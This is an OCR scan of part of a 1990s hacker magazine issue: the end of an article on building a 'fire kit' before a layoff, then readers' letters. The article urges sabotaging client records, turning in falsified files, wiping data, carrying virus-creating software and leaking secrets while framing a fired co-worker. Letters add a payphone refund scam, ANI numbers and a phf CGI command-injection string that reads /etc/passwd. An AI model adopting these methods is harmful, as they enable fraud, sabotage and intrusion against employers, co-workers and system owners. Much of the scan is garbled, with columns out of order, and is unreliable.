tremely idiosyncratic. It doesn’t hurt to add a few
surprises. Here’s what you can do:

Encrypt everything, but “forget” passwords.
Lose file layouts for any data dumps. (My pre-
decessor did this to me!)

Create slight, but significant errors in your per-
sonal files. Careful with this. They can be minor
- go into your contact manager and change the
zip code of the company address of your major
client so all of your successor’s letters of intro-
duction never arrive. Or they can be major -
transpose quoted rates in your notes to indicate
that you gave the client a 52% discount instead of
a 25% discount. This will affect only those peo-
ple who are using your notes to continue a busi-
ness relationship. Remember to keep track of
your “errors” in your fire kit.

Organize data into extremely complex directory
structures. Embed directory after directory. Give
them mysterious and useless names. Keep the
key to these structures in an analog notepad, and
put that notepad in your fire kit.

The Big Day

So the day of the merger has arrived and peo-
ple are being called into the boss’s office one by
one. Your entire office has been deemed redun-
dant and the pink slips are flying like a tickertape
parade. It’s time to put your kit into motion.

drive - the value of the computer itself will evap-
orate in two fiscals. So keep your hard disk lean.
Keep the applications on the disk, but keep the
data with you. Don’t put data on the company
network if possible, because networks are usu-
ally backed up on a regular basis. If you keep
files on floppies (or better yet, a 100MB ZIP
disk) you’re ready to roll. And always remember,
intentionally destroying data is illegal.

Before you give up your computer, however,
make sure to do one thing. If you take nothing else
away from this article, take this: wipe out the slack
and unused space on your hard drive. For those of
you who don’t understand the mechanics of disk
drives too well, let me briefly explain. When you
delete a file, you are not necessarily wiping the
files off of your hard disk. Rather, you are wiping
the location of the file from the FAT (file alloca-
tion table), so the disk operating system does not
know where to look for the file. The one’s and ze-
roes that make up the file are still on the hard disk.
Utilities such as Norton’s UnErase can do a pretty
fair job of recovering “deleted” files. Therefore,
those embarrassing e-mails, resume drafts, and
otherwise sensitive data that you thought went
down the bit bucket are still there. There are utili-
ties such as COVERUPCOM that will actually
write random garbage over the disk, making full
recovery of erased data nearly impossible. (I’ve
read that it is extremely difficult to completely

li a file from a hard disk. There are compa-

There are a few questions to id
What do I turn in on my last day?

Some companies will not process your last
bonus checks, expense reports, or even pay-
checks if you do not turn in certain files in a
timely manner. This is largely a response to hav-
ing salespeople take their rolod with them as
they leave the company. I won’t get into the legal
aspects of who owns this information. You’ll
probably end up giving them the information. So
what. The important thing is that you give your
company the wrong information. Keep a
“shadow” rolodex complete with incorrect rate
quotes, inaccurate notes, and not-so-glaring

issi You want the rolodex/addressbook to
be considered the real thing until those last
checks come through.

You will have no choice but to turn in your
computer, of course. If the company is smart
(which is not a sound assumption), they will be
primarily interested in what’s sitting on your hard

nies out there that do nothing but recover such “ir-
retrievable” data - their techniques are jealously
guarded trade secrets.) Unless you’re working for
the DoD, however, COVERUP should do a pretty
good job of wiping data from your hard disk.
Where do I keep this stuff?

Keep your kit on floppies and keep the flop-
pies with you. Use PKZIP to crunch down the
file sizes. It’s best to use the encryption flag on
PKZIP when doing so. Also, don’t do something
dumb like name these files SECRETS.ZIP. If you
are taking hard copies with you, don’t wait until
your last day. You may not have the opportunity
to get anything out of the office. Also, have a sys-
tem-formatted disk with COVERUP and virus-
creating software on hand.

What do I do with this stuff once I've been fired?

This, of course, is the question to answer. My
only concrete advice is to be careful. If you lead
a trail back to yourself, you may have more than
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a career in the toilet, you could be facing crimi-
nal charges. It’s important to remember that
when you leak information, the first thing your
company will want to do is figure out who is
leaking. If you were recently let go, guess whose
door they will knock on first. That’s why it’s im-
portant to set this up long before you are put on
the death watch. For instance, what if some sen-
sitive files mysteriously disappear when you are
still in good graces with the company, but John
Doe has been recently let go? If that material
leaks, it’s plausible that the material was leaked
by John Doe. Take advantage of any strange op-
portunities. If you’re willing to take the risk of
exposing yourself, here are some ideas:

Send your company’s main competitor an
anonymous “care package” chock-full of your
company s secrets.

Better yet, if you include an anonymous
cover letter in the care package, cc your boss! (If
you do this, you don’t even have to send the ac-
tual package! Your company will go into freefall
mode regardless! Imagine your boss talking to
his competitive peer, trying to figure out what he
knows!)

whistle. (You should probably do this anyway.)
Drop your local muck-raking local news team
that bit of sensitive e-mail that came your way
(please use an anonymous remailer). The mater-
ial may not even be that bad - let the news team
decide. If you have hard proof, they will be inter-
ested. In my company, engineers have been falsi-
fying reports to the city for years. “Someone” in
my company right now has the ability to let the
city know tomorrow if the need arises!

Whatever you do, don't post information to
the Internet. In some ways, it’s easier to have
something done on the Net traced back to you
than by analog means. Besides, it’s probably bet-
ter if we didn’t make the Net vulnerable to mis-
guided media attacks for a while.

Conclusion

The goal of your fire kit is to make your com-
pany regret its decision to let you go. But it’s im-
portant to keep your company from realizing that
you are the cause of any “irregularities” that oc-
cur after your departure. Let them think they
fired a hard-working saint. If enough of us do
this, employers will have to reconsider our coun-

Hold onto it so you can have Ige over
your old company in case you're hired by the
competition.

Destroy it. If you're the only source of this
info, then their cost-cutting maneuver of down-
sizing you will end up costing them lots! Rule of
thumb - destroy/wipe anything that they don’t
know exists. Don’t destroy files that they know
you filed every week for three years.

If the information is embarrassing, blow the

try’s | dary “workplace flexibility.”

So start building your fire kit today. Be on the
lookout for any sensitive material early. Make
notes of any events or comments that will be po-
tentially damaging to your employers. Stay be-
lievable. Keep your documents on media that you
take with you on the day of reckoning. Make your
successor’s job impossible. Last, if you’re going
to be vindictive, be careful. Don't let the indignity
of being downsized make your actions sloppy.

Explore the 2600 web pages!

See the latest hacked web sites!
See even more payphones of the planet!

Get updates on current hacker cases!
Hear "Off The Hook" - our weekly hacker radio show!
Learn the latest details on Beyond Hope!
And find out all there is to know about the Secret Service!

http://www.2600.com
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Letters That Don't Suck

Dealing With Parents

Dear 2600:
In Volume 13 Number 3, alien13 writes that his mom found his 2600 between
his mattress and she went crazy. Well, me being a kid as well, I know this problem
13 wasn'’t far off when he hi
his bed. But not the right spot. The best hiding place is inside your box spring (that
hollow thing that looks like a second mattress). On the bottom of the box spring is
a very flimsy cloth. Poke a large hole in the cloth and place all oe..:m_uu:n_ in there.

It’s really heartwa
drugs and porno in so

Dear 2600:
I’ve been reading
scribing very soon.
The reason I’m wri ’t understand why
set about their child rea gazine. It’s informat
free thought.
My parents (at I
knowledge in any area
Christmas. Hell, even
borrowing the fall issu¢
The First Amend

very principals that
I think that any p:
banned or is evil shoy

Dear 2600:
'm ?.:« new to 3 - and I think you
imization of Bernie to
e hacker community the

Eventually my dad ask
“What the hell is 2600:
would you expect a white,
to your mag?
He loved it.
He used the spring issue’s Motorola text on his work phone, set it up (I don’t
know how) so that his work didn’t notice him calling outside of work. He helped me
improve and hook up the tap-alert device. Not only that, but after I looked up the
designs for a couple of hundred boxes (most of which were jokes, fakes, would
never io-r or were out and out n_nm::o:ﬁv my father and I designed and built a
Red-Blue-Silver-B: ional blueb: It's beau-
teous. It’s a little flip-fone type =.==m with a docking station on my desk. You don’t
know what kind of trouble it was fitting all that circuitry into a small black box. It
was worth it though. I got to learn a lot about design, electronics, the phone com-
pany (and their skills at gouging), and most importantly (I bet you think I'm going
to say something nice and trite like: “I got to bond with my father”), I learned how
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not to burn myself with a soldering iron.

1'd just like to say this because a lot of people have parents who react to them
reading 2600 as if they had killed someone. I'd just like to one day go to all those
people and force feed the information contained in your mag.

- fordyman

Dear 2600:
In the Autumn _ocm issue,

you -5:89» letter from alien13, who is apparently

Subscribing vs. Newsstands

Dear 2600:
I just want to tell you how good your magazine is. You guys do a great job and
-ally n&Ea your will to stand up for what you believe in. It’s nice to see that

s some people experi
ore than many of 3

Dear 2600:
Here’s a quick little trick that demonstrates an error in the Bell operating sys-
tem and should help to sharpen your social engineering skills. Of course, you really
shouldn’t go and try this, but if you do I’m not responsible for your stupidity.
rst, you need to make Bell think you made a phone call that cost you a lot of cash.
This is quite easy to do. Just walk up to about any payphone and type an intemational
phone numb (calls to airplanes or boats can top $21.00 apiece!). If the phone won't ac

a . e of
then hang up. Wait a couple of seconds more, then call the operator (again). When
an op answers, tell her you want to speak to rvisor. She’ll transfer your call. Then,
‘when the supervisor comes on line, tell her this stupid piece of trash phone just ate
such and such amount of money (say the amount of money quoted to you earlier) and
then disconnected you or something like that. You may need to feed her a little more crap
to get her to go along with you, but she usually will. If all goes well, she’ll ask you for the
number you were cal then how much you deposited. She’ll then check the call record
on your payphone to see if you really made the call. The call will be on the record because
you dialed the number, and the system assumes you paid, in full, the initial connect
charge. Finally she’ll ask you for your address. Go ahead and tell her your real address -
you have nothing to fear. All that happened was that this stupid phone stole your hard
earned money and you're just trying to get it back. Right? Sit around on your butt for
about two weeks and you'll receive this neat little check you can cash or hang on your
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wall to impress your friends. If you check Bell a couple of times a week to see if they
have yet rectified the problem, you’ll soon have built up a aice little stash.

Happy phreaking.

ameba

First off, this has about as much to do with phreaking as scuba diving. What
you're basically doing is lying to the phone company and assuming that you can
Jjust do this forever. You cannot. Trust us. It’s not a secret that you can get “re-
funds" for calls you never made from most local and long distance companies. But
to do this on a regular basis is just screaming for attention.

I purchased my first is:
n_iwvd been kind of a ha

smay every single file
1y harm except for one
fellow hackers do this

just a thought.

e from your own site or you went to a
managed to pick the worst one in the world be assured that the
vast majority of hacker websites have no int 1g viruses 1o its visitors.

ident. The number is 1-
. Can you at least tell

CIA

n't know but being so
t get a ton of wrong

e attached to the num-

Autumn issue about cer-

7 and 800-649-9098. [
s just like those: 800-654-
7664. 1t spits back different numbers each n»« But after a few days, start the cy-
cle all over again. Maybe this is different depending on the area you’re in? Not
really sure, but I just thought you might like to know that there are other number
like this out there.

Darkman

Dear 2600:

1 am puzzled on a phone number and seriously hope someone out there can help me
out. About eight months ago a friend and | were scanning and found the following num-
ber: 800-235-6890 which greets you with a “Call Number” voice. However if you hang
up and call back, the voice will be different (i. girl robot, a kid robot). The closest |
have to seen to copying the voice output on this line is the Text to Speech program that
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comes with the SB AWE 32.

Anyways, it gives you the following prompt:
“Choose 1 to commit a call, Choose 2 to reassign a call,
Choose 3 to read in the call problem, Choose 5 to
change to another IR number, asterisk to logoff and
hang up.” If you hit * it says, “Have a nice day. Good-
bye.” It also loops saying “Menu Choice.”

Saiine

Dear 2600:

Some people may disagree with spreading around toll-
free ANI numbers, but these things exist for a reason: to be
used. They will always be around, go up and down, and
some will even have changing security codes. Despite that,
we Iways find them, and will always have access to
them. It is for that reason that I’m giving you this list: 800~
568-3197, 800-222-0300 (Press 1), 800-487-9240, 800-
223-1104. The less use these numbers get, the longer they
will last. Please keep that in mind for obvious reasons. Also,
to those of you wishing to use 800-M Y-ANI-IS again, I can
tell you that it now has an 11-digit security code. Unfortu-
nately, I cannot submit that security code to 2600 for legal
reasons, but figured you may want some sort of idea what
changes were made to that number (which previously had a
3-digit security code).

CrACKeD
Tucson, AZ

Dear 2600:

In the last issue of 2600 there was a letter from
Rolando Rojas Me Stnt. In his letter some guy named
“Frank Carson” gave him some number. The number
was 800-55X-XXXX. I would like you to send me the
real number instead of the X's. Thank you.

BStone

We would have liked it had been sent to us but
what we got was what we printed. In fact, it almost al-
ways is.

Dear 2600:
This phone number is interesting. 718-441-2106.
Doesn’t seem to end ever.
JN
What a great number to 3-way unsuspecting people
to.

Dear 2600:

Figure this number out. When I call it, I get a string
of odd beeps and a click, repeated ad infinitum. The
number is 717-440-1761.

Rokket Man

What you're hearing happens to a whole lot of

numbers in that exchange. It sounds like what happens
when you dial a non-working number in a PBX.

Technological Marvels

Dear 2600:
While recently looking through the local Rat Shack

I came across a Caller ID Blocker (PN# 43-925A |
think). So I shelled out the $31.95 it took to purchase
the thing. When I got home I wanted to see if it worked
50 1 hooked it up and called the other line which has
Caller ID. On the Caller ID box it said Private Number
or something to that effect. When you pick up the line it
emits three tones which sound like touch tones and |
was wondering if this would be safe from *69 and I was
also wondering what the tones were. Any help is appre-
ciated.

Phreakner

Congratulations. You spent $31.95 for a box that

dials *67. No doubt it has already paid for itself many

times over. Concerning your *69 concerns, in many ar-

eas you cannot *69 a private number but there are
Places that still allow this.

Big Brother

Dear 2600:
Looks like McDonalds is going to be watching
what you eat for you. I was in this particular fast food

is a quote off of the tray liner I got:
McBreak(tm) Frequency Card is state-of-the-art tech-
nology. It knows who you are, when you come to Mc-
Donald’s, what you spend and keeps track of all the
points you acquire.” And: “Every time you come to Mc-
Donald’s, be sure to hand over your card to earn points.”

All of the McD’s around here have this service.
plan to get one of these, study it, and then write an arti-
cle for you on this little subject. Stay tuned.

‘Wes “Holodoc” Mills
Big Brother exists in the strangest places.

Frequencies

Dear 2600:

I was playing around with the scanner my parents
got me for Christmas (a Radio Shack PRO-2038, cat.
no. 20-413) and I found a very interesting frequency. At
451.675 1 heard cell phone calls! I've also heard a few
calls at 451.875. Apparently these are frequencies used
by Airtouch Cellular, a local (Sacramento, CA) cell
provider. I don’t know if the above two frequencies are
universal or just used by Airtouch. Thought you'd be in-
terested in knowing.

Desaparecido
Sacramento

School Terror

Dear 2600:

I have a rather interesting story that you may be inter-
ested in. I'm a junior in high school and our school has sev-
eral COCOTs. So like any curious student I spent my study
hall hours playing with the phone. One day I decided to dial
the 11xx and 11x numbers. When I got to 118 and hung up
the phone the payphone started ringing. When i picked up
the phone I got a message saying your call could not be put
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through. I would dial 118 several times a day and the same
thing would happen. Well one day I was dialing and I saw
my principal eyeing me suspiciously. The payphone did the
usual thing of ringing after I hung up. Later that day during
my history class I got a pass telling me to come to the main
office immediately. When I got there I was escorted into the
principal’s private quarters where [ was greeted by a police
officer. The principal grinned at me and said something to
the effect of “We finally got you - this time we outsmarted
you.” I expected to have them yell at me for phreaking the
phone or something but to my surprise they told me that
they were going to charge me with prank calling 911! This
was quite a surprise considering I had dialed 118 and noth-
ing else. They then told me that 911 had been receiving calls
from the school all year long and that one came in at the ex-
act same time [ was playing with the payphone from that
very phone. I told them about the 118 and, to make a long
story short, they checked the PBX records for the school
and found that 911 had never been dialed from the sct.ool.
So I was let off the hook and it turns out that there are mul-
tiple numbers that trigger the 911 system but they don’t
‘make this information public. Why they have multiple num-
bers and why they don’t make it public remains a mystery to
me, but the moral of the story is don’t dial 118.
Socrates
It’s entirely possible that this COCOT and/or your
school had a speed dial entry for 118 that went to the
police for some reason. Try it from some other part of
town to see if this is the case. Congratulations on escap-
ing the combined wrath of your school and the cops.

Exciting Updates

Dear 2600:

I read in your fall issue that the software trading
rooms were “warez” and “freewarez”. This is not en-
tirely true (like you care). Anyway, the correct rooms are
now “coldice” and “freeshit”.

w

We'll bet any amount that this is no longer true.

Dear 2600:

If anyone comes across a 9600,N,8,1 carrier which
only responds to the letter U, with a response of A, C, or
D, don’t bother trying to hack it. It’s just a hand-held bar
code reader hooked up to a modem, and isn’t hooked up
to any other computer or network, and has no terminal-
style interface.

Josh M. McKee

You've just dashed the hopes of hackers every-
where.

Bernie S. Feedback

Dear 2600:

1 was outraged when I read about the Ed Cummings
case. It is obvious to me that the ji al system takes
non-violent crimes far too seriously. Who did Cum-
mings hurt? Did Cummings cost anyone any money or
losses? The answer seems to be no, yet Cummings gets
locked up with deadly criminals. Now, on the other

hand, violent crimes get neglected far too much. One al-
ways sees how a murderer or rapist escapes the authori-
ties in no time at all. I feel that the judicial system
should be spending a lot more time and money on the
relevant crimes. [ also feel that some of the laws should
at least be rewritten so that a person actually has to “do”
something to get put away in prison. It makes one fear-
ful just to learn about high-tech equipment and comput-
ers.

CYBERJE

Dear 2600:

Several weeks ago a letter came for me from Wired:
“Try us, a free issue, blah, blah, blah...” So I figure why
not? I could use it to squish roaches, if nothing else. I
got it the other day. It sucked. It was just as irritating as
I had heard. Part | that made me want to hurt someone:
Some little prole wrote in making an analogy between
Ed Cummings and an arsonist then went on about why
2600 is evil. Part 2: “Bernie S. Goes Free” says that he
was released after “a transfer to a maximum security
prison and an attack by an inmate.” It also makes it look
like nobody cared until he got attacked. There was no
mention of any protest, and most notably, 2600.

POEE Chaplin

What you really have to remember is that no maga-
zine outside the hacker world will accurately cover
things that go on within the hacker world. Don’t be so
surprised.

Dear 2600:

Interesting little tidbit:

22 January 1996: Ed Cummings charged with re-
moving batteries from a tone dialer. Bail set at
$250,000.

22 January 1997: Teenagers Amy Grossberg and
Brian Peterson, accused of murdering their newborn

viewed as dangerous as murder, or that murder is no
worse a crime then modifying a tone dialer and possibly
ripping off a few quarters from Ma Bell.
Armitage Shanks
We're getting that “message” they wanted to send
us loud and clear.

Dear 2600:

1 appreciate your intense coverage of the Ed Cum-
mings story and | agree that, in the end, the pressure
from such extensive scrutiny is what got him help, but [
disagree with you when you say the government was
taught a lesson. No way. We were the ones who had our
asses handed to us. Ed Cummings was one of our own
and he was jailed, beaten, and brutalized. All the gov-
emment had to deal with was a few letters and phone
calls. In my opinion the extreme coverage he was given
led to harsher treatment and more problems. The gov-
emnment knew the entire h/p community was tuned in,
so they took advantage of that coverage and turned it
into “Don’t Fuck With the Government 101.”
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Look people, it’s time we stopped doing the com-
puter equivalent of making phony pizza orders and start
the real _d<e_=:o= :norn_.m and v_:,nw_aa are such a

ities
and have this kind of limitless energy and potential to do
so much. What do we do with it? Put cartoons on the
D.0.Js computer page and make free phone calls. Then
we say we do it in the name of freedom of speech so we
can justify it, and so we can feel like some kind of mod-
ern day revolutionaries.

Know what real revolutionaries would be doing in
today’s world? Destroying the computers of the TRWs
of the world. Posting how to make free phone calls on
every page on earth! Breaking into defense computer
systems and giving the priceless information they find
there to every university on the planet. Getting together
and writing their own versions of Windows, even more
advanced versions, that they could upload as shareware
for everyone to use for free. And so much more!

Instead... just call the 2600 voice BBS and you hear
some idiot asking “Duh... how do I fix my credit re-
port?”. Or “Hey man, Microsoft are such assholes, man.
You know they’re just holdin’ out to make more money
from us by not releasing better versions of Windows.”
You get the point... complain, complain, complain.

I intentionally used some seemingly odd ideas as ex-
amples of what modern day revolutionaries would be doing
if they were hackers. Let me explain... by telling everyone in
the country how to make free phone calls we'd eliminate the
illegality of it. You simply can’t put the whole country in
jail! Then maybe the phone companies would collapse and
the government would take it over. The U.S. government
has a $1.5 trillion budget. It would be as hard for it to absorb
the cost of phone service as it would be for you to absorb
the loss of five bucks. Some of you may see this as a step
backwards, but on the contrary: they’re still not going to
nose into your business unless you are doing suspicious
things anyway, just like today. Plus, without dozens of
amazingly costly national ad campaigns the cost of phone
service would only be the equipment and workers.

As for the defense secrets... don’t think there aren’t
hackers working for the governments of other countries
as we speak trying to steal those secrets. The only way
to make them harmless is if everyone has them. Beyond
that simplistic primitive view of things, if anyone has
ever seen a documentary on SDI alone then you are fa-
miliar with the amazing new technologies they possess
that they aren’t even trickling into the world. Don’t for-
get: the stealth fighter has been flying since 198
not just invented a few years ago. So many thi
take for granted today were invented by the
years ago and only released recently. Releasing the
stored defense science to the world would advance it
centuries.

Last but not least, the very easiest of the revolution-
ary ideas for us to work on and conquer. Yes, it is with-
out doubt true that companies hold out on us and then
make their products obsolete to sell more. Just look at
processors... 86, 186, 286. i
they already have the capability to do a lot more I pity
you. Some thing with software like Windows, etc. The
solution? Get together in groups of programmers and

give people specific parts of the v_dm_,un_ to work on just
like big business does. When we've come - up with a
product that makes Windows look ancient, it to the
world for free. Then the big companies will have to
lower prices drastically and stop fisting us up our butts.
That of they can try to do better but that would cost way
too much money which would raise the cost of their
stuff even more which would completely price them out
of range.

To sum up, all of these things are about giving. We
hackers can give the gift of communication to the world,
s free communication, which as any historian

and stupidity. We can give peace to the world. We can
give technological advancement to the world.

So let’s lay off the porno .GIFs and .JPGs for a
while, crack open a Coke... and save the world.

MBG

You've got some good ideas. But having the gov-
ernment take over the phone companies is not one of
them.

Video Boxing

Dear 2600:

‘This letter is in response to a letter by “Anonymous” in
the Autumn 96 issue where he asked about red boxing a
video game. [ hate to disappoint him, but you cannot box a
video game. The coin mechanism on an arcade game i is cur-
rently ical. There is nothing el
on them to produce or receive the tones. As your quarter
goes through the coin slot, it enters the coin mech. It then
goes through a few small slots that are adjusted to the size
of the coin (various size tokens or quarters). If the coin i
something other than the correct one for the game, it will ei-
ther drop out the coin retumn or get hung (annoying those
who work on them). If your coin passes its checks as it exits
the mechanism it crosses a thin, stiff metal wire attached to
a microswitch (the only thing electronic). When the switch
is tripped it adds a credit to the game. 1 know of no way to
get free games other than by walking up to a game that has
credit, or bumming money.

=NSNiPER=

Dear 2600:

I saw a letter in your last issue wondering if pay-
phone and video games had the same coin collection
principles. I have worked at a game room for a few years
now. The principle of the coin mechanism is fairly the
same, except that payphones are much more exact in
coin weight readings. The video game industry isn’t real
worried about people “hacking” their machines. If you
were thinking about free games, it’s not hard at all. Most
machines (namely Namco), and other base-stand games
(such as everyone’s favorite from the 80’s - Galaga) have
switches under the unit which switch between a coin
collect and “home use” variation. By simply switching
the button one can play forever, or until you get caught.
Your basic arcade game can be “hacked” by entering a
sequence of buttons right from the game pad. An exam-
ple is Street Fighter 2. By entering the correct code at
the right time you can see how many times people have
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used Ryu, Ken, and Bison, or upgrade to another ver-
sion straight through the built in drive. Hard to believe
what’s happening these days - in 2000 a plan for new
types of hacking scenario games will be released. Never
know what’s coming out next.

NeoCzar

Dear 2600:

Hola amigos. This letter is in response to the “Coin
Collection” letter by Anonymous. Video games (unless they
have changed recently) work on an electronic trigger. Just
like the payphone, when you insert the coin/token it trips an
electronic signal, which starts the game depending on how
many coins/tokens you put in. The arcade or business that
the game is at can set the size of coin the machine takes.
Which is why some machines take coins and others tokens
(they are different sizes usually). Phones work the same
way except when the electronic “trip wire” is triggered, it
sends the tones. In a video game it sends a simple electronic
signal to the game and starts it. [ don’t think there is a safe
way to rip off video games. By the way, even if you could
box a video game, where would you put the box? There's no
receiver like a phone.

Pyrojax
Exorcising AOL

Dear 2600:

I've been reading this magazine for the last three issues
cover to cover, and I'm glad to say that. But there is one
thing that disturbs me. This... thing... has come up in all
three issues, and I’m not very pleased with it. This thing is
AOL. Why do people keep sending letters and articles on
AOL? Why? Why do we need to even use up space for
AOL? These are all good questions, and I have an answer!
Just stop sending letters and articles about AOL. I know this
letter contains AOL, but this is to stop any more shit about
AOL. Please, everyone who has thought about sending in-
formation about AOL to 2600, do not. I know I can’t stop
you from this, but use common sense. If one is a hacker
with half a brain then he knows AOL sucks. Any newbie
will find out soon enough that AOL sucks through all the
text and newsgroups out there. Therefore I would like to

conclude with this: Please let this be the last issue that has to

include the three evil letters: AOL. Think about this.
Sevangels

Newbies

Dear 2600:

1 just want to start out by saying I love your magazine!
I am writing to express my concern about the attitudes of
some hackers and wanna-be hackers. It seems that it is get-
ting harder and harder for newcomers to get pointed in the
right direction and to have their questions answered. Some
of my ?n:& (who are newbies) =n<o reported to me that

of “lamer” and “wanna-be.” Come on, what is
this crap? We were all beginners at some time. We were not
born with these skills, people. All of us who know the an-

swer at one time had to ask! It seems to me that the purpose
of a hacker is to educate others and seek further knowledge
for themselves. It now seems that more and more people are
being shunned for asking a simple question. If we want to
remain a powerful force we have to continue to spread
knowledge, not shun others for asking for it. So I encourage
newbies to keep asking and if someone treats you like shit
and turns their back on you for asking them a question, they
are the lamers, not you. In fact, they probably don’t know
the answer themselves.

ZeBoK

Dear 2600:

Just wanted to congratulate you on a great mag. |
just found a copy at my local Barnes & Noble book-
store. Your web page is great. Finally, a page with great
graphics and it doesn’t take a year to bring up. I’m new
to the scene so forgive me if | seem a little out of it. I'm
interested in what you guys discuss but I am unfa-
‘miliar with a lot of the terms. Is there any kind of refer-
ence I can obtain that can help me with the jargon? Blue
boxes, red boxes, tone dialers? I'd appreciate some help.
I would also like to express my great respect for the peo-
ple who stood up for Bernie S. I wish what happened
never did but thanks to a group of brave people, things
didn’t turn out as bad as they could have.

OpieX

Since you have access to the web, we suggest using

one of the many search engines (like

www.altavista.com) to find FAQs on hacking terminol-
ogy. The answers are out there.

PHF Findings

Dear 2600:

This is fairly well known, I found it by accident
while reading about the O0XFF command separator in
older versions of bash shell.

The newer phf cgi that comes with some versions of
picasso and rembrandt linux have been patched for the
obvious 0xOA newline escape, but can still be escaped
using OxFF. It takes vulnerabilities in both phf and bash
for it to work.

I have tested this very successfully on many linux
machines. I would imagine that most people are aware
of the 0x0A escape and so when they test it on their own
box they think they are safe from phf exploitation. The
syntax for the exploit is almost identical to the older phf
exploit.

To execute z-n commands: “cat /etc/passwd”:
hf?Qalias=Y%ffcat”

't only confined to linux, but
it seems easiest to exploit on linux.

Zeed
(DY)
Web Reaction
Dear 2600:
I’'m writing to thank you for putting the CIA and DoJ

“remodelled” web pages back online. I never had a chance
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to see them while they were up at their actual sites. When |
bought 2600 volume 13, number 3, as soon as I got home |
jumped on the web and read through each one. I also
thought you may be interested in this: There’s someone |
know, about 18 years old, who’s been into computers, BB-
Ses, the net, etc., but who never really got into the h/p/a, or
“rebellious” side of them. I told him to check out your pages
and he called me a few hours later and said he never knew
what all the stuff I talked about with my friends was until he
visited your pages. He told me that he just realized how
screwed the US government was when it came to every-
thing covered in the CDA. That was a few weeks ago, and
since then he’s been asking me for texts and sites and things
concerning what the government (and not just the U.S.) has
been doing involving electronic rights. He’s no longer afraid
to stand up to the bureaucracy we all

Because of your site and cause, his eyes, ears, and
most importantly, his mind, are all now open. Your cause
has made a difference. I also thank you for doing this.
Because of this incident, I'm urging you to keep the
CIA and Dol pages up for good. I think all of your fans,
subscribers, and supporters would urge you to do the
same.

KH

We believe the web hacks are an imaginative and
mostly harmless way of communicating dissent. There
is a big risk involved though, since most corporations

submissions for your cover art? I have several good (and
phunny) ideas, and a new camera burning a hole in my
pocket. Of course, only an idiot would do something il-
legal and take a picture of themselves doing it. The ideas
I have planned are fully (well mostly) legal.
Jack T. Dragon
We definitely do accept cover pictures but they have
to be of good quality. We only accept photos, none of
that Internet stuff.

2600 Name Dispute

Dear 2600:

In your latest issue (Autumn 96), you pointed out,
in a response to a letter, that 2600 was your name. This
made me extremely angry. It looks like you thought this
name to be of your own creation and original. The
2600hz tone that your magazine is named after was
never yours to be owned.

Second, you point out that #2600 on IRC was
started by you. That's why you've always resided in
#hack right? That's why you leave #2600 after a §
minute wait time of not getting opped? That’s why I've
never seen one person associated with 2600 in #2600?
laugh at the fact that “the channel exists so 2600 types
can communicate with other 2600 types in a fairly open

and governments have a very low tol Sor such
things. Only those with a real message to convey should
even attempt such a thing. And those who just want to
spray obscenities and racist garbage onto websites
should never be considered hackers.

Dear 2600:

1 don’t know if you guy’s know it or not but you
made the Army’s Defense Related Links page -
http://l army.mil Nlinks2. htm,

Anonymous

What's funny about this is that they have hundreds
of links to all kinds of places all over the world and our
site is the only one they were so paranoid about that
they felt it necessary to filter it through an
“anonymizer.”

Submitting Stuff

Dear 2600:

1 was wondering about your policies on confiden-
tiality and published articles. In particular, if I submit an
article do I need to submit my personal information as
well? And if I have an article published under my pseu-
donym, would my real name be protected and kept con-
fidential?

@

We don’t give out your info to anyone. And you
don't have to give us any info you don’t want to. That's
as simple as we can keep it.

Dear 2600:
I’'m a proud and happy reader of 2600, and intend to
be one for some time. Here’s my question: Do you allow

” If these “2600 types” were to communi-
cate freely on the channel, it would be an equivalent to
#teen and a hint of #warez.

I think it would be safe to agree maybe the only
thing mentioned that you “own” would be alt.2600
(which is garbage anyway).

Mr. Kiddie PrOn

You are an example of someone who needs to get
out more. Chat areas like irc are not meant to be taken
this seriously. What was stated here was a fact, that the
2600 channel was started by 2600. You can dispute this
all you please but it won't change what everybody al-
ready knows. You seem to have personal problems with
certain people in the channel which really doesn't con-
cern anyone here. We don't have people stationed in the
channel around the clock but people affiliated with
2600 are always popping in and out. That's as official
as it will ever get. And, no, we don’t “own" the alt.2600
newsgroup any more than we own an irc channel. It's
sort of strange how you have no problem envisioning
ownership of things you don't like.

2600 Sells Out

Dear 2600:

What's the story with 2600 these days? | remember
back in the good old 80’s the zine was booming. But
alas now it has gone to shit. I think you guys should get
your act together and go back to the depths of the under-
ground. When things go commercial they get screwed
up. 2600 is another classic example.

Brain Child

We'd be deliriously happy to answer your points
except for the fact that you never got around to making
them. You just accused us of going “commercial” with-
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out ever defining what the fuck that means. (Inciden-
tally, most commercial magazines would never allow
the word "fuck” in a letter reply.)

Cable/Web Thoughts

Dear 2600:

Active Matrix warned against using descramblers
with systems which use this type of set top box while
also worrying about the amount of data the cable com-
pany could collect on viewing habits.

In my opinion such a powerful box makes for a
stronger argument for using a descrambler. I am not a
lawyer, but my understanding that US cable compa-
nies cannot require you to use their set top equipment.
(Using a descrambler to get channels you are not paying
for is illegal, though.) If the system still works by broad-
casting all the channels at once to all of the customers,
then there is no reason why some other equipment
would need to send anything back to the cable company.
And since people are inherently lazy, you can be reason-
ably sure no one building descramblers would bother to
put any work into things which might harm their cus-
tomers. If you do spend all of your time watching pay-
ws, then all the cable company probably
notice is that your box is strangely silent all the time like
you are watching nothing. Using a splitter and a de-
scrambler for one television and the original box for an-
other would probably prevent them from noticing
anything at all.

On a slightly related note, I'd advise everyone to
hack their web browsers to minimize the amount of in-
formation sent with each page request. Some standard
things sent which they don’t need to know are User-
Agent (what browser you are using), Referer (what page
contained the link you followed), and From (who you
are). Many browsers just use printf style commands to
send these sorts of things. Using any binary editor, just
find them and change the “%s"’s and stuff to some other
text. printf will then just ignore the extra arguments it is
called with.

Eli the Bearded

Praise

Dear 2600:

I'd just like to say thanks for bringing America back
to the people. | am not a phreaker, but I feel that people
use their First Amendment rights and the government
shouldn’t make such a big deal when people try to use
them. Anyway, thanks for being such a great magazine
to look forward to.

sgtpepper

More on Disney

Dear 2600:

As long as everybody is talking about Disney
World, I'd like to talk about their new security at the
gate. [ personally like the new system for keeping unau-
thorized people from using four season passes and stuff.

When they put your card in, they make you put the in-
dex and middle finger of your right hand in a scanner of
sorts. What it does is take a 1, 2, and 3 dimensional pic-
ture of both of your fingers (as well as a picture of your
face). The first time you use your pass, anybody can get
in. From that point on two out of three of the pictures
have to match up with the one coded on the card itself
(not the magnetic strip). Don’t ask me how this works,
but if you know, I'd like to as well. You’ll notice that
when you put your perfectly clean, white card into the
slot, it’ll come out slightly dirt brown. These are the pic-
tures. I found this interesting.

Moonpanther

Dear 2600:

Just thought you might like to know a few interest-
ing facts about the phone system at Disneyworld. First,
